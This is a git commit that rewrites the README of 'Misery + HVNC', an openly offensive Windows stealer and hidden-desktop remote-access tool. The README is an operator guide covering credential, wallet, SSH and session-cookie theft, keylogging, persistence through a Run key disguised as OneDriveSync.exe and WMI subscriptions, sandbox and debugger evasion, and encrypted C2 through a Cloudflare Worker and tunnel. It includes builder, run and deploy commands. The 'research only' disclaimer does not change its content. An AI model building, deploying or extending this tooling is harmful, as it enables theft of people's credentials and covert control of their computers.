docs: rewrite README with a feature bullet list

This commit is contained in:
JYenn
2026-08-15 00:30:26 +01:00
parent 314905126a
commit f3587510c7
+59 -82
View File
@@ -1,66 +1,58 @@
<p align="center">
<img src="Misery.png" alt="Misery" width="420">
<br>
<em>a devoted sister of the Church of Malware</em>
</p>
# Misery + HVNC
An HVNC inspired by Ek0m's research, rebuilt on top of the Misery stealer with hidden-desktop and ghosted browser sessions, credential and app-session harvesting, and single-channel encrypted C2 (reverse TCP by default, HTTPS beaconing through a CDN as an option).
HVNC inspired by Ek0m's research, rebuilt on top of the Misery stealer.
For local testing and research only. The source stealer is Misery; the HVNC follows on from Ek0m's work.
- Hidden desktop (`hvnc start`): run any app on a hidden desktop and watch it live
- Ghosted browser (`ghost <url>`): real Chrome/Edge session using the victim's cookies and logins
- Credential and app-session harvesting (Misery stealer pipeline)
- Single encrypted C2 channel: reverse TCP (default) or HTTPS beaconing through a CDN
- Keylogger + clipboard monitoring
- Persistence (HKCU Run key + WMI event subscriptions)
- Anti-analysis (user-mode environment checks before connect)
- Reflective injection / offline DPAPI fallback for decryption
For local testing and research only.
## Disclaimer
For educational and research use only. Test it on systems you own or have written permission to test, in an isolated lab. Do not use it for unauthorised activity. The authors take no responsibility for misuse.
Educational/research use only. Run only on systems you own or have written permission to test, in an isolated lab. Authors take no responsibility for misuse.
## Operator view
The console's live hidden-desktop feed, streamed from the agent and rendered in the view window:
<p align="center">
<img src="MiseryLiveOperatorView.png" alt="Misery operator view" width="1000">
</p>
## VirusTotal scan
<p align="center">
<img src="MiseryVT.png" alt="VirusTotal scan result" width="1000">
</p>
Live hidden-desktop feed from the agent, rendered in the console's view window.
## Which session to use
Two ways to run a hidden browser session. Both launch a real Chrome or Edge with the victim's cookies and logins (so sites are already logged in); they differ in how the profile is handled:
| | Ghosted session (`ghost <url>`) | Hidden desktop (`hvnc start`) |
|---|---|---|
| Profile | Snapshot **copy** of the victim's profile, deleted when the session stops | The victim's **real, live** profile |
| Browser | Chrome / Edge only | Any app, plus a full desktop with explorer and Start menu |
| Collides with a browser the victim has open? | No | Yes (profile lock / two-instance conflict) |
| Writes back to the victim's profile? | No | Yes: history, cookies, sign-outs persist |
| Use when | You just need an authenticated browser session | You need the whole hidden desktop or a non-browser app |
| Profile | Snapshot copy of the victim's profile (deleted on stop) | Victim's real, live profile |
| Browser | Chrome / Edge only | Any app + full desktop (explorer + Start menu) |
| Collides with open browser? | No | Yes (profile lock / two-instance conflict) |
| Writes back to profile? | No | Yes (history, cookies, sign-outs persist) |
| Use when | Authenticated browser session only | Full hidden desktop or non-browser app |
The stealer normally runs inside the browser through reflective injection, so the app-bound decryption passes its process check. When no injectable browser is present, the agent falls back to an offline DPAPI run in the agent process. Either way, the core work happens over one encrypted channel. The agent streams frames and results, the console forwards input, and the console writes exfil results to disk.
The stealer runs inside the browser via reflective injection when possible (passes process checks). Falls back to offline DPAPI in the agent process otherwise. Everything goes over one encrypted channel: agent streams frames/results, console forwards input and writes exfil to disk.
## Quick start
**Builder first.** `setup.py` is an msfvenom-style wizard/CLI that writes `src/config.h` (host, port, ECDH public key, exfil URL, CDN settings), writes the console's ECDH private key to `.misery_key`, and builds the project. Guided wizard, or the same thing non-interactively:
`setup.py` is an msfvenom-style builder that writes `src/config.h`, the console's ECDH private key to `.misery_key`, and builds the project.
```powershell
python setup.py -g
# or non-interactive:
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 -o agent
```
Run the console (it is the listener) then the agent (it connects):
```powershell
.\build\console.exe
.\build\agent.exe
.\build\console.exe # listener
.\build\agent.exe # connects
```
The console is a terminal, not a toolbar: banner, `misery > ` prompt, and `[+] agent: hostname|user|id` on connect. A live view window opens for the hidden-desktop feed; mouse and keyboard input there is forwarded to the session. Type `help` for `steal`, `hvnc start | stop | launch [path]`, `ghost <url> | stop`, `keylog`, `clip`, `clear`, `exit`.
Console is a terminal (`misery > ` prompt). Live view window opens for the hidden-desktop feed; input is forwarded.
The steal summary counts browser and app loot in one line:
Commands: `steal`, `hvnc start | stop | launch [path]`, `ghost <url> | stop`, `keylog`, `clip`, `clear`, `exit` (type `help` for full list).
Steal summary example:
```
[+] steal done: 0 pw / 0 ck / 0 cards / 2 discord / 1 steam / 1 wallets / 1 wifi / 1 ssh / 1 vscode / 0 telegram / 0 slack / 0 signal / 0 aws -> loot-20260812_001608.json
@@ -68,53 +60,40 @@ The steal summary counts browser and app loot in one line:
## Configuration
All C2 defaults live in `src/config.h` (generated by `setup.py`), and anything you set at the command line or in the environment wins over them:
Priority: CLI (`agent <host> [port]`) > env (`HVNC_C2_HOST`, `HVNC_C2_PORT`) > `src/config.h` (generated by `setup.py`).
1. CLI: `agent <host> [port]`
2. Env: `HVNC_C2_HOST`, `HVNC_C2_PORT`
3. Compile-time defaults from `src/config.h`
The config holds the host, port, the console's ECDH P-256 public key, the optional HTTPS exfil URL, and the CDN beacon settings (`HVNC_BEACON_URL`, header, sleep interval). The tracked default points at `127.0.0.1:4444` with a generated public key, so a fresh checkout builds out of the box. Running the console needs a keypair, so run `setup.py` once before the first live run.
Key material never lives in a binary. The console's ECDH private key persists to `.misery_key` on the operator box; later `setup.py` runs reuse it so a rebuild keeps the same identity and deployed agents keep working. Only the matching public half is compiled into `config.h`. Each TCP connection starts with a plaintext KEY_EXCHANGE frame carrying the agent's fresh ephemeral public key, and both sides derive the AES-256-GCM session key from an ECDH agreement; the beacon transport re-derives the same session key on every poll. Dumping either binary yields a public key only. Pass `--rotate-key` to generate a fresh keypair (orphans already-deployed agents). `.misery_key` is gitignored.
- Keypair lives only on the operator side (`.misery_key`, gitignored). Only the public half is compiled into the agent.
- Each TCP connection does a plaintext `KEY_EXCHANGE` with the agent's ephemeral key → AES-256-GCM session key.
- `--rotate-key` generates a new pair (orphans existing agents).
## Persistence
Persistence is a separate agent mode, not a runtime behaviour. Run the installed (or built) `agent.exe` with a flag; it registers and exits:
Separate agent modes (register and exit):
| Flag | Effect |
|---|---|
| `--persist` / `--unpersist` | Add/remove the HKCU Run key (T1547.001). Copies the running image to `%APPDATA%\OneDriveSync.exe` under a neutral name and points the Run value at it. |
| `--persist-wmi` / `--unpersist-wmi` | Add/remove two WMI event subscriptions (T1546.003): a 15-minute timer that relaunches the copy, and a guard that recreates the Run value if it is deleted. |
| `--persist` / `--unpersist` | HKCU Run key (T1547.001). Copies to `%APPDATA%\OneDriveSync.exe` |
| `--persist-wmi` / `--unpersist-wmi` | Two WMI subscriptions (T1546.003): 15-min timer + guard that recreates the Run value |
The modes compose: Run key and WMI all reference the same `%APPDATA%` copy, so the on-disk footprint is unchanged. The guard exists so a cleaned Run value comes back: it re-runs `--persist`, and `persist::enable()` skips an identical write, so the guard cannot retrigger itself. `--unpersist-wmi` tears down both subscriptions idempotently.
## Anti-analysis
Before the agent connects, the TCP carrier runs a user-mode environment check (`src/evasion/environment.cpp`): CPUID hypervisor bit and brand, SMBIOS/ACPI vendor strings, virtual NIC OUIs, guest driver files, PEB debug flags, debug-port queries, and a process/window/module scan for reverse-engineering tools. A positive result (or a short uptime with few CPUs, a common sandbox heuristic) extends the reconnect backoff from 5s to 15s so a watched environment checks in less eagerly.
Both point at the same `%APPDATA%` copy. Guard is idempotent.
## CDN transport (Cloudflare)
`setup.py -t https_cdn` switches the agent to HTTPS beaconing instead of raw TCP. It also emits two deploy files: `deploy/worker.js` (Cloudflare Worker redirector) and `deploy/cloudflared-config.yml` (Zero Trust Tunnel).
```
agent ──HTTPS POST/GET──▶ Cloudflare Worker ──▶ Zero Trust Tunnel ──▶ console
```powershell
python setup.py -t https_cdn
```
A beacon is a batch of encrypted POSTs. The request carries the agent's ECDH ephemeral public key so the stateless console relay can re-derive the session key, plus an auth header the Worker validates and service-auth headers for the tunnel. The Worker redirects to a `cloudflared` tunnel on your box, so the console never needs a public IP.
Emits `deploy/worker.js` + `deploy/cloudflared-config.yml`.
To deploy:
```
agent ──HTTPS──▶ Cloudflare Worker ──▶ Zero Trust Tunnel ──▶ console
```
1. Create a Worker and publish `deploy/worker.js`
2. On the console host, run `cloudflared` with a tunnel mapped to `http://localhost:<port>`
3. Lock the tunnel with a Cloudflare Access service-auth token and put its credentials in the Worker
4. Point `HVNC_BEACON_URL` at the Worker URL
The beacon client and the console's HTTP relay both exist. With `HVNC_TRANSPORT 1` the console runs the relay listener on the C2 port and the same REPL commands work over it.
Beacon carries the agent's ephemeral public key so the console can re-derive the session key. Worker validates an auth header and redirects through the tunnel (no public IP needed on the console).
## Build
You need `cmake`, a C++ toolchain, and `objcopy` (or `llvm-objcopy`). The build embeds the payload DLL as an object file, so configure fails if it can't find an objcopy binary. CMake prefers `llvm-objcopy`; set `CMAKE_OBJCOPY` to force a specific one.
Requires `cmake`, C++ toolchain, and `objcopy`/`llvm-objcopy`.
MSVC:
@@ -130,32 +109,30 @@ cmake -S . -B build -G "MinGW Makefiles" -DCMAKE_BUILD_TYPE=Release -DCMAKE_OBJC
cmake --build build --config Release -- -j 4
```
The `src/config.h` shipped in the repo defaults to `127.0.0.1:4444` with a generated console public key, so a fresh checkout builds without running the builder. The console still needs the matching `.misery_key`, so run `setup.py` once before the first live session (it regenerates the pair if the file is absent). Rotate with `--rotate-key` before deploying.
Only run this in isolated labs with documented permission. To start clean, delete `build/` with `Remove-Item -Recurse -Force build` (PowerShell) or `rm -rf build` (msys/mingw).
Fresh checkout builds out of the box against `127.0.0.1:4444`. Run `setup.py` once before the first live session so `.misery_key` exists.
## Outputs
Results are written by the console to the directory it runs from:
Written by the console in its working directory:
- `loot-<timestamp>.json` (gitignored) for each steal
- `keylog.txt` for keylogger capture
- `loot-<timestamp>.json` (gitignored)
- `keylog.txt`
Tested on Chrome and Edge on Windows 10 / 11 (x64).
Tested on Chrome/Edge, Windows 10/11 x64.
## Layout
- `src/agent`: agent entry point, C2 client, injector, persistence (Run key + WMI subscriptions)
- `src/console`: operator console and listener
- `src/payload`: payload DLL, reflective loader, trampoline
- `src/stealer`: Misery-derived stealer sources
- `src/hvnc`: hidden-desktop session
- `src/ghost`: ghosted browser session
- `src/rat`: keylogger and clipboard
- `src/transport`: encrypted TCP framing and frame compression
- `src/evasion`: indirect-syscall engine, anti-analysis fingerprinting, evasion helpers
- `build/`: out-of-source build directory
- `src/agent` – entry, C2 client, injector, persistence
- `src/console` – operator console + listener
- `src/payload` – payload DLL, reflective loader, trampoline
- `src/stealer` – Misery-derived sources
- `src/hvnc` – hidden-desktop session
- `src/ghost` – ghosted browser session
- `src/rat` – keylogger + clipboard
- `src/transport` – encrypted TCP framing + compression
- `src/evasion` – indirect syscalls, anti-analysis, helpers
- `build/` – out-of-source build dir
## Licence
No licence is granted. This is research code shared for study; it is not licensed for redistribution or commercial use.
No licence granted. Research code for study only; not licensed for redistribution or commercial use.